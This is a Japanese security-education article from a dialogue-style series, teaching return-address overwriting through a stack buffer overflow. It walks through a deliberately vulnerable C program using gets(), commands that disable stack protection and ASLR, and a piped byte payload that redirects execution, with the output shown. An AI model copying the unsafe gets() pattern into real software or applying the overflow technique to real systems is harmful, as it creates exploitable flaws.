SHOEISHA iD

※旧SEメンバーシップ会員の方は、同じ登録情報(メールアドレス&パスワード)でログインいただけます

DeveloperZine(デベロッパージン)- エンジニアの意思決定を支える技術情報メディア ProductZine

CodeZine編集部では、現場で活躍するデベロッパーをスターにするためのカンファレンス「Developers Summit」や、エンジニアの生きざまをブーストするためのイベント「Developers Boost」など、さまざまなカンファレンスを企画・運営しています。

伏石ちゃんは意図に反したい

リターンアドレスの書き換えってどういう攻撃手法? どんな対策がある?【伏石ちゃんは意図に反したい】

FILE 0x08 リターンアドレスの書き換え

解説:教えて那々子先生

充希
先生! リターンアドレスの書き換えってどうするんですか?
先生
例えば、バッファオーバーフローだ
充希
またバッファオーバーフローですか

実際に試してみよう

先生
今回もC言語で試すぞ
充希
はい
先生
これがソースコードだ

 ※以下の説明は、Ubuntu 20.04.1 LTS x86_64 on WSL2の環境を前提としています。コンパイラーのバージョンや環境によってアドレスは異なります。

#include <stdio.h>


// メモリの内容を出力する
void dump(unsigned char *p, int len) {
    int i;
    for(i = 0; i < len; i++) {
        if (i > 0 && i % 4 == 0) {
            printf(" ");
        }
        printf("%02x ", p[i]);
    }
}

// 関数のアドレスを表示する
void printAddress(void* func) {
    unsigned long address;

    address = (unsigned long)func;

    dump((unsigned char*)&address, 8);

}

// 関数D
void D() {
    printf("Dが呼び出されました\n"); // 画面に「Dが呼び出されました」と出力し改行
}

// 関数C
void C() {
    unsigned char input[4] = ""; // 入力値を格納する文字列(最大半角4文字)
    int i = 0;

    printf("Cが呼び出されました\n");  // 画面に「Cが呼び出されました」と出力し改行

    // 入力前のメモリの内容を画面に出力
    printf("メモリの内容 before: \n");
    dump(input, 24);
    printf("\n"); // 改行
    printf("\n"); // 改行


    printf("何か入力してください: "); // 画面に「何か入力してください: 」と出力

    gets(input); // 入力をinputに格納

    printf("\n"); // 改行

    // 入力後のメモリの内容を画面に出力
    printf("メモリの内容 after: \n");
    dump(input, 24);
    printf("\n"); // 改行
    printf("\n"); // 改行

}

// 関数B
void B() {
    printf("Bが呼び出されました\n"); // 画面に「Bが呼び出されました」と出力し改行
    C(); // 関数Cを呼び出し
    printf("Bに戻りました\n"); // 画面に「Bに戻りました」と出力し改行
}

// 関数A
void A() { 
    printf("Aが呼び出されました\n"); // 画面に「Aが呼び出されました」と出力し改行
    B(); // 関数Bを呼び出し
    printf("Aに戻りました\n"); // 画面に「Aに戻りました」と出力し改行
}

int main() {

    printf("mainが呼び出されました\n"); // 画面に「mainが呼び出されました」と出力し改行

    // 各関数のアドレスを表示する
    printf("Address of main: ");
    printAddress(&main);
    printf("\n");

    printf("Address of A:    ");
    printAddress(&A);
    printf("\n");

    printf("Address of B:    ");
    printAddress(&B);
    printf("\n");

    printf("Address of C:    ");
    printAddress(&C);
    printf("\n");
    
    printf("Address of D:    ");
    printAddress(&D);
    printf("\n");
    
    A(); // 関数Aを呼び出し
    
    printf("mainに戻りました\n"); // 画面に「Aに戻りました」と出力し改行
    
    return 0;

}
充希
ごめんなさい、もう分からないです
先生
何てことはない。関数をmain→A→B→Cと呼び出して、C→B→A→mainと戻ってくるだけの簡単な処理だ
充希
簡単……
先生
説明のために各所でアドレスを表示するようにしたから、若干雑然としてるがな

 さて、実際にリターンアドレスの書き換えを成功させるためには、いくつかの保護機能を無効にしなければなりません。

 一つは、コンパイル時にスタック保護を無効にする必要があります。gccの場合は-fno-stack-protectorオプションを指定します。

$ gcc -fno-stack-protector sample8.c -o ./sample8

 次に、OSのASLR(Address Space Layout Randomisation)を無効にします。Ubuntuの場合は以下のコマンドで実行できます。

 ※この設定にはセキュリティ上のリスクがあります。本番環境では行なわないようにしてください。

$ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
先生
早速実行してみよう。まずは、正常なパターンだ。このプログラムを実行して、123と入力するぞ
充希
はい
$ ./sample8
mainが呼び出されました
Address of main: 69 13 00 08  00 00 00 00
Address of A:    3c 13 00 08  00 00 00 00
Address of B:    0f 13 00 08  00 00 00 00
Address of C:    58 12 00 08  00 00 00 00
Address of D:    41 12 00 08  00 00 00 00
Aが呼び出されました
Bが呼び出されました
Cが呼び出されました
メモリの内容 before:
00 00 00 00  00 00 00 00  d0 e1 fe ff  ff 7f 00 00  2d 13 00 08  00 00 00 00

何か入力してください: 123

メモリの内容 after:
31 32 33 00  00 00 00 00  d0 e1 fe ff  ff 7f 00 00  2d 13 00 08  00 00 00 00

Bに戻りました
Aに戻りました
mainに戻りました
先生
最初の方にあるのが各関数のアドレスだ
充希
アドレス
先生
プログラムというのは手順書だ。「STEP 1」「STEP 2」というように指示が並んでいると思ってくれ。そして、アドレスというのは手順番号だ。どこの手順を実行するかを示す位置情報だな
充希
main関数は69 13 00 08 00 00 00 00という場所にあるってことですか?
先生
そうだ

 例えば、サンプルコードの以下の箇所では、A()で「関数Aを呼べ」という指示となります。

    A(); // 関数Aを呼び出し

 これをコンパイルすると、「アドレス3c 13 00 08 00 00 00 00の関数を呼べ」という指示になります。同様に、B()の時は0f 13 00 08 00 00 00 00C()の時は58 12 00 08 00 00 00 00となります。

充希
……なるほど
先生
そして、returnで呼び出し元に場所に戻る。でも、呼び出し元がどこか分からなければ戻れないだろ?
充希
だから目印を付けるんですね
先生
イメージとしてはそうだ。だが、実際には目印というよりも、「手順番号をメモしておく」というほうが正しいだろう。どこにメモされていると思う?
充希
……さあ
先生
実はローカル変数の何軒隣かのご近所さんなんだ

 ここで、「123」と入力する前後メモリの内容を見比べてみましょう。

メモリの内容 before:
00 00 00 00  00 00 00 00  d0 e1 fe ff  ff 7f 00 00  2d 13 00 08  00 00 00 00
メモリの内容 after:
31 32 33 00  00 00 00 00  d0 e1 fe ff  ff 7f 00 00  2d 13 00 08  00 00 00 00

 afterでは、最初の3バイトが「31」「32」「33」となりました。これはそれぞれ「1」「2」「3」を表すASCIIコードの16進表記です。これで、入力した内容が最初の3バイトにセットされたということが分かります。

 さて、もう一点注目すべき点があります。

31 32 33 00 00 00 00 00 d0 e1 fe ff ff 7f 00 00 2d 13 00 08 00 00 00 00

 この「2d 13 00 08 00 00 00 00」の部分です。関数のアドレスと見比べてみましょう。

Address of main: 69 13 00 08  00 00 00 00
Address of A:    3c 13 00 08  00 00 00 00
Address of B:    0f 13 00 08  00 00 00 00
Address of C:    58 12 00 08  00 00 00 00
Address of D:    41 12 00 08  00 00 00 00

 ドンピシャのアドレスはありませんが、よく似ているのにお気づきでしょうか。

 さきほどの「2d 13 00 08 00 00 00 00」というのは関数Bの途中、関数Cを呼び出した直後の位置です。つまり、関数Cのreturnにより、関数Bの中に戻ってくるのです。

先生
だから、この部分がリターンアドレスだな。これを手がかりに呼び出し元に戻ってくる
充希
なるほど
先生
バッファオーバーフローでこのアドレスを書き換えれば、関数Dに迷い込ませることもできそうじゃないか?
充希
1、2、3……17バイト目の「2d」と18バイト目の「13」を書き換えたら良いから、とりあえず18文字入力するということですね
$ ./sample8
mainが呼び出されました
Address of main: 69 13 00 08  00 00 00 00
Address of A:    3c 13 00 08  00 00 00 00
Address of B:    0f 13 00 08  00 00 00 00
Address of C:    58 12 00 08  00 00 00 00
Address of D:    41 12 00 08  00 00 00 00
Aが呼び出されました
Bが呼び出されました
Cが呼び出されました
メモリの内容 before:
00 00 00 00  00 00 00 00  d0 e1 fe ff  ff 7f 00 00  2d 13 00 08  00 00 00 00

何か入力してください: 123456789012345678

メモリの内容 after:
31 32 33 34  35 36 37 38  39 30 31 32  33 34 35 36  37 38 00 08  00 00 00 00

Segmentation fault (core dumped)
充希
何かエラーになりました
先生
いいぞ。37 38 00 08 00 00 00 00というデタラメなアドレスにジャンプしようとしたからエラーになったんだ
充希
でも、関数Dのアドレスってどう入力したらいいんですか?
先生
ASCIIコードの0x41、0x12の文字を入力したらいい
充希
0x41は……「A」、0x12……装置制御2……? 何ですかこれ
先生
まあ、手で入力するのは難しい文字だな。だからパイプを使って以下のように入力する
$ echo -n $'1234567890123456\x41\x12\x00\x08\x00\x00\x00\x00' | ./sample8

 パイプ記号(|)は左のコマンドの出力を、右のコマンドの入力に引き渡すものです。したがって、ここでは、echoコマンドで出力された「1234567890123456~」の文字列が、サンプルプログラムに入力されることになります。なお、ここで\x12は16進表記のASCIIコードで12の文字を意味します。

充希
実行してみます
$ echo -n $'1234567890123456\x41\x12\x00\x08\x00\x00\x00\x00' | ./sample8
mainが呼び出されました
Address of main: 69 13 00 08  00 00 00 00
Address of A:    3c 13 00 08  00 00 00 00
Address of B:    0f 13 00 08  00 00 00 00
Address of C:    58 12 00 08  00 00 00 00
Address of D:    41 12 00 08  00 00 00 00
Aが呼び出されました
Bが呼び出されました
Cが呼び出されました
メモリの内容 before:
00 00 00 00  00 00 00 00  d0 e1 fe ff  ff 7f 00 00  2d 13 00 08  00 00 00 00

何か入力してください:
メモリの内容 after:
31 32 33 34  35 36 37 38  39 30 31 32  33 34 35 36  41 12 00 08  00 00 00 00

Dが呼び出されました
Segmentation fault (core dumped)
充希
あ、Dが呼び出されました
先生
afterの最後を見ると、関数Dのアドレス「41 12 00 08 00 00 00 00」に書き換わっている。その結果、関数Cのreturnの際、呼び出し元の関数Bに戻らず、関数Dに迷い込んでしまったってことになる
充希
これがリターンアドレスの書き換えなんですね
先生
そうだ。バッファオーバーフローは、隣接する変数を書き換えるだけでなく、関数の戻り先をも書き換えてしまう。上手く工夫すれば任意の処理を実行できる場合もあるんだ
充希
なるほど……

次のページ
対策1 ASLR

この記事は参考になりましたか?

伏石ちゃんは意図に反したい連載記事一覧

もっと読む

この記事の著者

井二 かける(イブタ カケル)

 情報処理安全確保支援士、プログラマー、作家。「物語の力でIT・セキュリティをもっと面白く」をモットーに、作家活動、セキュリティ啓発活動を行う。主な作品はアニメ「こうしす!」、小説「こうしす!社内SE祝園アカネの情報セキュリティ事件簿」(翔泳社)、マンガ「伏石ちゃんは意図に反したい ~ハッキングから始まる高校生活~」(京姫鉄道出版)など。 Twitter:@k_ibuta@kyoki_railway

※プロフィールは、執筆時点、または直近の記事の寄稿時点での内容です

山口 しずか(ヤマグチ シズカ)

 やりたいことはなんでもやる精神で急成長中の漫画家。2019年よりマンガアプリにて商業連載デビュー。連載の傍ら企業のPR漫画や漫画動画など媒体・ジャンルにとらわれず時代に合わせた漫画を制作中。趣味はお酒と旅行。 Twitter:@shizuckey

※プロフィールは、執筆時点、または直近の記事の寄稿時点での内容です

この記事は参考になりましたか?

この記事をシェア

CodeZine(コードジン)
https://codezine.jp/article/detail/15893 2022/05/20 11:00

イベント

CodeZine編集部では、現場で活躍するデベロッパーをスターにするためのカンファレンス「Developers Summit」や、エンジニアの生きざまをブーストするためのイベント「Developers Boost」など、さまざまなカンファレンスを企画・運営しています。

新規会員登録無料のご案内

  • ・全ての過去記事が閲覧できます
  • ・会員限定メルマガを受信できます

メールバックナンバー